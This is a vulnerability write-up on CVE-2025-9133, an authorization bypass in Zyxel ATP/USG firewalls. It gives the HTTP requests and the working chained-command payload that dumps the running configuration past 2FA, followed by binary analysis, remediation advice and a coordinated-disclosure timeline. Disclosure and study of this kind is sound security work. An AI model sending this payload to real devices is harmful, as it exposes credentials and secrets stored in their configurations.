ZYXEL
    ZLD 5.40
    Authentication Bypass

    CVE-2025-9133: Configuration Exposure via Authorization Bypass

    October 21, 2025
    5 min read

    When the rules stop you, rewrite them in their own language
    -Grace Hopper

    Summary

    Parallel to CVE-2025-8078, I identified a vulnerability in the two-factor authentication (2FA) verification phase in the ATP/USG series. A user with 2FA enabled, after logging in, is required to enter the code received via email or authenticator to proceed; otherwise, after a few failed attempts, a logout is enforced. However, by injecting a command into the strings sent to the zysh-cgi binary and bypassing a kind of whitelist, it is possible to view and download the system configuration. Let’s Jump In!

    First Analysis

    When logging into the device’s web interface as a user with 2FA enabled, you are directed to a form where you must enter the PIN received via email or Google Authenticator.

    Entering an incorrect code multiple times redirects you back to the login page.

    Access to the CGIs is restricted; in fact, attempting to download the configuration or perform a file upload results in a 302 redirect.

    File Upload as 2FA user (not verified)

    CVE-2025-9133: Configuration Exposure via Authorization Bypass
    POST /cgi-bin/file_upload-cgi HTTP/1.1
    Host: redacted
    Cookie: authtok=Cpk8ZOnnBQ6v2OLSr3i+Gq5XanxxoxnkCpbKoBjULzAPFyJ3mLrRz3nOWFxlGBsD; 
    Content-Length: 1788
    Cache-Control: max-age=0
    Accept-Language: it-IT,it;q=0.9
    Origin: https://redacted
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye0rVedAfy7iPKovC
    Upgrade-Insecure-Requests: 1
    User-Agent: dummy
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Referer: https://redacted/ext-js/index.html
    Accept-Encoding: gzip, deflate, br
    Priority: u=0, i
    Connection: keep-alive
    
    ------WebKitFormBoundarye0rVedAfy7iPKovC
    Content-Disposition: form-data; name="file_type"
    
    config
    [..SNIP..]
    CVE-2025-9133: Configuration Exposure via Authorization Bypass
    HTTP/1.1 302 Found
    Date: Thu, 14 Aug 2025 15:39:54 GMT
    Location: /
    Content-Length: 185
    Keep-Alive: timeout=15, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
    
    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html><head>
    <title>302 Found</title>
    </head><body>
    <h1>Found</h1>
    <p>The document has moved <a href="/">here</a>.</p>
    </body></html>

    File Download as 2FA user (not verified)

    CVE-2025-9133: Configuration Exposure via Authorization Bypass
    GET /cgi-bin/export-cgi?category=config&arg0=passwd.conf HTTP/1.1
    Host: redacted
    Cookie: authtok=Cpk8ZOnnBQ6v2OLSr3i+Gq5XanxxoxnkCpbKoBjULzAPFyJ3mLrRz3nOWFxlGBsD
    Cache-Control: max-age=0
    Accept-Language: it-IT,it;q=0.9
    Upgrade-Insecure-Requests: 1
    User-Agent: dmmy
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Referer: https://redacted/
    Accept-Encoding: gzip, deflate, br
    Priority: u=0, i
    Connection: keep-alive
    CVE-2025-9133: Configuration Exposure via Authorization Bypass
    HTTP/1.1 302 Found
    Date: Thu, 14 Aug 2025 15:41:56 GMT
    Location: /
    Content-Length: 185
    Keep-Alive: timeout=15, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
    
    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html><head>
    <title>302 Found</title>
    </head><body>
    <h1>Found</h1>
    <p>The document has moved <a href="/">here</a>.</p>
    </body></html>
    

    Analyzing requests to ZYSH-CGI

    However, as soon as you reach the OTP code entry form, analyzing the requests with Burp Suite reveals requests being sent to the zysh-cgi endpoint, which is crucial for communication with the ZLD system to query and modify the configuration.

    CVE-2025-9133: Configuration Exposure via Authorization Bypass
    POST /cgi-bin/zysh-cgi HTTP/1.1
    Host: redacted
    Cookie: authtok=Cpk8ZOnnBQ6v2OLSr3i+Gq5XanxxoxnkCpbKoBjULzAPFyJ3mLrRz3nOWFxlGBsD
    [..SNIP..]
    
    filter=js2&cmd=show%20version&cmd=show%20users%20current&cmd=show%20page-customization&cmd=show%20login-page%20default-title&cmd=show%20login-page%20settings&write=0

    And the response.

    CVE-2025-9133: Configuration Exposure via Authorization Bypass
    HTTP/1.1 200 OK
    Date: Thu, 14 Aug 2025 12:52:04 GMT
    Pragma: no-cache
    Cache-Control: no-cache
    Keep-Alive: timeout=15, max=100
    Connection: Keep-Alive
    Content-Type: text/html
    Content-Length: 1397
    
    var zyshdata0=[{'_image_number':'1','_model':'ATP100','_firmware_version':'V5.40(ABPS.0)','_build_date':'2025-05-07 05:42:54','_boot_status':'Standby'},{'_image_number':'2','_model':'ATP100','_firmware_version':'V5.40(ABPS.0)','_build_date':'2025-05-07 05:42:54','_boot_status':'Running'}];
    var errno0=0;
    var errmsg0='OK';
    var zyshdata1=[{'_No':[{'__name':'1','_Name':'test','_Type':'admin','_From':'redacted','_Country_Code':'RIP','_Country_Name':'Private IP','_MAC':'redacted','_Associated_AP':'-','_Service':'http/https(unauthorized)','_Login_Time':'00:00:21','_Idle_Time':'unlimited','_Lease_Timeout':'24:00:00','_Re_Auth_Timeout':'23:59:39','_Session_Timeout':'unlimited','_Acct__Status':'-','_Profile_Name':'N/A','_User_Info':'admin(test)','_Mobile':'N/A','_Email':'N/A','_Unique':'Cpk8ZOnnBQ6v2OLSr3i+Gq5XanxxoxnkCpbKoBjULzAPFyJ3mLrRz3nOWFxlGBsD'}]}];
    var errno1=0;
    var errmsg1='OK';
    var zyshdata2=[{'_Page_mode':'default'}];
    var errno2=0;
    var errmsg2='OK';
    var zyshdata3=[{'_Default_title':'ATP100'}];
    var errno3=0;
    var errmsg3='OK';
    var zyshdata4=[{'_login_title':'TEST','_login_title_color':'#378ec9','_login_message':'','_login_message_color':'black','_login_background_type':'color','_login_bg_color':'#36b9d2','_login_window_type':'picture','_login_window_color':'','_login_vline_color':'black','_login_vline_transparent_level':'100'}];
    var errno4=0;
    var errmsg4='OK';

    We are, in effect, sending commands to the device, even if only semi-authenticated. However, if we try to modify the commands and view the device configuration, we get nothing.

    CVE-2025-9133: Configuration Exposure via Authorization Bypass
    POST /cgi-bin/zysh-cgi HTTP/1.1
    Host: redacted
    Cookie: authtok=Cpk8ZOnnBQ6v2OLSr3i+Gq5XanxxoxnkCpbKoBjULzAPFyJ3mLrRz3nOWFxlGBsD
    [..SNIP..]
    
    filter=js2&cmd=show%20running-config&write=0
    CVE-2025-9133: Configuration Exposure via Authorization Bypass
    HTTP/1.1 200 OK
    Date: Thu, 14 Aug 2025 15:49:01 GMT
    Pragma: no-cache
    Cache-Control: no-cache
    Keep-Alive: timeout=15, max=100
    Connection: Keep-Alive
    Content-Type: text/html
    Content-Length: 50
    
    var zyshdata0=[];
    var errno0=0;
    var errmsg0='OK';

    Injection and Configuration Viewing

    It appears that there is a kind of filtering on the commands sent to the endpoint. However, by performing an injection, it is possible to bypass this restriction and view the device configuration.

    CVE-2025-9133: Configuration Exposure via Authorization Bypass
    POST /cgi-bin/zysh-cgi HTTP/1.1
    Host: redacted
    Cookie: authtok=Cpk8ZOnnBQ6v2OLSr3i+Gq5XanxxoxnkCpbKoBjULzAPFyJ3mLrRz3nOWFxlGBsD
    [..SNIP..]
    
    filter=js2&cmd=show%20version;show%20running-config&write=0
    CVE-2025-9133: Configuration Exposure via Authorization Bypass
    HTTP/1.1 200 OK
    Date: Thu, 14 Aug 2025 15:55:49 GMT
    Pragma: no-cache
    Cache-Control: no-cache
    Keep-Alive: timeout=15, max=100
    Connection: Keep-Alive
    Content-Type: text/html
    Content-Length: 86712
    
    Zyxel Communications Corp.
    image number model                            firmware version                                                  build date           boot status         
    ===============================================================================
    1            ATP100                           V5.40(ABPS.0)                                                     2025-05-07 05:42:54  Standby              
    2            ATP100                           V5.40(ABPS.0)                                                     2025-05-07 05:42:54  Running              
    !
    !
    language English
    !
    hardware-watchdog-timer start
    !
    software-watchdog-timer 60
    !
    interface-name ge1 sfp
    interface-name ge2 TIM
    [..SNIP..]

    ZYSG-CGI : Binary Analysis

    Having regained (once again) root shell access via CVE-2025-8078, I decided to further analyze the zysh-cgi binary to better understand its logic.

    CVE-2025-9133: Configuration Exposure via Authorization Bypass
    root@ATP100-TS:~# Hello ZyS- .. Uh, no.. Root shell! \o/
    root@ATP100-TS:~# cd /usr/local/apache/cgi-bin/
    root@ATP100-TS:/usr/local/apache/cgi-bin# ll
    total 119
    drwxr-xr-x  2 root root   209 May  6 22:59 .
    drwxr-xr-x 11 root root   143 May  6 22:59 ..
    -rwxr-xr-x  1 root root 32772 May  6 22:59 export-cgi
    -rwxr-xr-x  1 root root 26280 May  6 22:59 file_upload-cgi
    -rwxr-xr-x  1 root root 15986 May  6 22:59 ios.cgi
    -rwxr-xr-x  1 root root  8390 May  6 22:59 portal_logo
    -rw-r--r--  1 root root   820 Jan 13  2022 printenv
    -rw-r--r--  1 root root  1074 Jan 13  2022 printenv.vbs
    -rw-r--r--  1 root root  1133 Jan 13  2022 printenv.wsf
    -rw-r--r--  1 root root  1261 Jan 13  2022 test-cgi
    -rwxr-xr-x  1 root root 13134 May  6 22:59 tgbconf.cgi
    -rwxr-xr-x  1 root root 17646 May  6 22:59 zysh-cgi
    root@ATP100-TS:/usr/local/apache/cgi-bin#

    Analyzing the binary, I found several interesting points.

    First Observation: main() and the fp_2 Parameter (usr_type)

    In the CGI main, after all the parameter parsing (gcgiFetchInteger, gcgiFetchString, etc.), there is this section:

    CVE-2025-9133: Configuration Exposure via Authorization Bypass
    if ($fp_2)
        return sub_10002228(..., $fp_2);
    else
        return sub_100019a0(..., $fp_2);

    Here, $fp_2 is initialized to 0x14 by default, but it can change based on usr_type, which the server determines:

    1. From the IP (REMOTE_ADDR) via uam_find_first_match or uam_find_first_match6
    2. From the authtok=... cookie

    If you are not an admin or a "special" type, $fp_2 remains non-zero (typically 0x14). This is the first indication that the flow changes depending on the user type.

    Next Step: Look for Differences Between the Two Paths

    Examining sub_100019a0 and sub_10002228 (which are essentially two similar "engines"), analyzing the code reveals that both contain the same filter block:

    CVE-2025-9133: Configuration Exposure via Authorization Bypass
    if (arg8) {
        if (arg8 == 0x14) {
            if (!strncmp(s1, "show version", 0xc)) goto label_permit;
            if (!strncmp(s1, "show users current", 0x12)) goto label_permit;
            ...
        } else {
            if (!strncmp(s1, "show ", 5)) goto label_permit;
            if (!strncmp(s1, "dir ", 4)) goto label_permit;
            ...
        }
    }

    Here, arg8 is precisely $fp_2 -> that is, the usr_type passed from main.

    So:

    • If usr_type is 0x14 -> very restricted allowlist (only a few exact strings).
    • If usr_type is different (and ≠ 0) -> slightly broader allowlist (any show, dir, etc.).
    • If usr_type is 0 -> the entire block is skipped (no filtering at all).

    Prefix Matching on String s1

    The cmd parameter of zysh-cgi is validated only on the prefix of the full command string to determine whether it is allowed for a given user profile (e.g., usr_type == 0x14). If the string starts with a whitelisted command (e.g., show version), the entire content of cmd, including any commands concatenated after ;, is forwarded "as-is" to the backend CLI. This means show version;show running-config; passes validation because it starts with show version, and the second command, not whitelisted, is still executed. Validation does not split on separators nor re-validate sub-commands.

    Conversely, sending only show running-config does not match any allowlist entry and ends up in the "blocked" branch, which rewrites it in a special form and effectively produces no useful output in the js2 path, which is why I got zyshdata0=[].

    Context and Parameters

    • filter=js2 affects rendering: the server sets the content type based on filter (text/xml only if filter=xml; otherwise text/html), and when filter is present, it does not emit the HTML "shell" but only the JS fragments with the data (the zyshdata* arrays).

    • write=0 disables processing of "writecmds" (mutating commands) in the path that builds requests to the backend. The code reads write and uses the writecmds buffer only if set; with write=0 you remain on the "read-only" binary.

    • The profile/user type controlling the allowlist is propagated as arg8 in the executing functions; the main function selects between two slightly different paths (“engines”) based on this: if the profile is set, it calls sub_10002228; otherwise, it calls sub_100019a0.

    1. Prefix and Full-String Validation

    In the loop processing the commands, the code takes the entire string from the cmd field (here s1) and compares it against certain prefix matches:

    CVE-2025-9133: Configuration Exposure via Authorization Bypass
    if (arg8) {
      if (arg8 == 0x14) {
        if (!strncmp(s1, "show version", 0xc)) goto label_10001c14;
        /* ... other few whitelisted exceptions ... */
      } else {
        if (!strncmp(s1, "show ", 5)) goto label_10001c14;
        /* ...other categories... */
      }
    }
    

    If one of these strncmp() calls matches, the flow jumps to the label that sends the command. There is no splitting or iteration for subcommands separated by ; or newline: only the beginning of the string is validated.

    2. Forwarding the Entire String "As-Is" (Including ;)

    At the authorizing label, the code constructs the line to send to the backend using the entire s1:

    CVE-2025-9133: Configuration Exposure via Authorization Bypass
    // "Allowed" branch
    snprintf(&arg_0, 0x800, "%s\t|%s %d\n", s1);
    

    Since s1 contains the entire value of cmd, any ; remain inside and are interpreted by the device’s CLI parser: show version;show running-config; executes both.

    3. "Not Allowed" Branch Rewrites the Command (No Splitting Here Either)

    If the prefix is not whitelisted, the code does not explicitly reject it but instead rewrites the line in a special form:

    CVE-2025-9133: Configuration Exposure via Authorization Bypass
    // "Not allowed" branch
    snprintf(&arg_0, 0x800, "configure terminal exit|%s %d\n", &arg_fb0);
    

    In this case, sending only show running-config enters this branch. In js2 mode, this path does not generate the usual zyshdata* arrays, and the client sees zyshdata0=[]. When using show version, the "allowed" branch is taken and the entire concatenated string is forwarded as-is, including the second command.

    4. Engine Selection Based on User Profile

    The main function chooses which execution function to use (both have the same basic logic: "prefix -> allow/rewrite"):

    CVE-2025-9133: Configuration Exposure via Authorization Bypass
    if ($fp_2)
      return sub_10002228(..., $fp_2);
    else
      return sub_100019a0(..., $fp_2);
    

    $fp_2 is derived from the authentication cookie / "usr type" and defaults to 0x14 (restricted profile): precisely the case where the allowlist is more limited and does not include show running-config.

    TLDR; Why the Payload Works

    • Input used: filter=js2&cmd=show%20version;show%20running-config;&write=0

    • Flow:

      • cmd starts with show version -> matches the allowlist for profile 0x14 -> "allowed" branch.
      • At the authorizing label, the code does not split the string on ; and forwards the entire s1 to the backend -> sequential execution of both commands.
      • Output is serialized into JS fragments (zyshdata*) because you are on the "allowed" path and filter is present (js2 mode).

    When sending only show running-config, the prefix does not match the whitelisted commands, the flow hits the "rewrite" branch, and no useful data appears in zyshdata*.

    Impact

    • Bypasses the policy applied to restricted profiles (usr_type == 0x14): access to non-whitelisted commands (e.g., show running-config) via command chaining.
    • Exfiltration of sensitive configurations without proper permissions (credentials, keys, secrets in configs).
    • Potential extension to management commands (depending on the whitelisted surface in the other branch).

    Remediation (Practical Hardening)

    1. Tokenize and Validate Per-Subcommand Split cmd on ; and newline before validation, then check each subcommand against the allowlist. Reject the entire request if any fail.

    2. Block Chaining at the CGI Level If the semantics do not allow multiple commands, reject inputs containing ; or control/pipeline characters.

    3. Strict and Complete Allowlist The 0x14 allowlist currently includes show version but not show running-config. If running-config must be denied, it must not pass as part of a longer string. If allowed, it should be explicitly added to avoid rewrite shortcuts.

    4. No "Magic" Rewriting Avoid the path that rewrites disallowed commands into configure terminal exit|...: it introduces ambiguity and uncovered surfaces. Fail hard with a 4xx CGI error instead.

    5. Robust Parsing Use a command parser that recognizes syntax/grammar instead of relying on strncmp on prefixes. Alternatively, compare fully normalized strings (trim, case, spaces), not just prefixes.

    6. Defense in Depth

      • Rate-limit and audit zysh-cgi invocations.
      • Reduce data returned by show for restricted profiles (server-side redaction).
      • Use CSRF tokens on submits; currently parameters are accepted without further checks.

    Proof of Understanding (Minimal, Non-Operational)

    • Blocked case: cmd=show running-config -> does not match allowlist for profile 0x14 -> rewrite branch -> no useful zyshdata*.
    • Bypass case: cmd=show version;show running-config; -> matches whitelisted prefix -> entire string (including ;show running-config;) is forwarded to backend, which executes both.

    PoC Exploit

    A PoC exploit is available here

    Conclusion

    The bypass is enabled by three combined flaws:

    1. Prefix-based validation on an untokenized string;
    2. Forwarding the entire string to the backend;
    3. "Not allowed" branch that does not fail hard but rewrites the command.

    The proper fix is to enforce per-command validation, prevent chaining in the CGI, and reject requests that violate the policy, removing ambiguous shortcuts like configure terminal exit|....

    Vulnerability Dislosure

    • 2025-08-15: ZYXEL was notified via <security@zyxel.com.tw>.
    • 2025-08-15: ZYXEL acknowledged receipt of my vulnerability report.
    • 2025-08-19: ZYXEL assigned CVE-2025-9133 to the reported issues and informed me of their intention to publish their security advisory on 2025-09-30.
    • 2025-09-08: ZYXEL requested to postpone the public disclosure date to October 21, 2025, as the firmware patch is scheduled for release on October 20, 2025, allowing users adequate time to apply the update and secure their systems before the vulnerability is disclosed.
    • 2025-10-21: ZYXEL published their security advisory, following our coordinated disclosure timeline.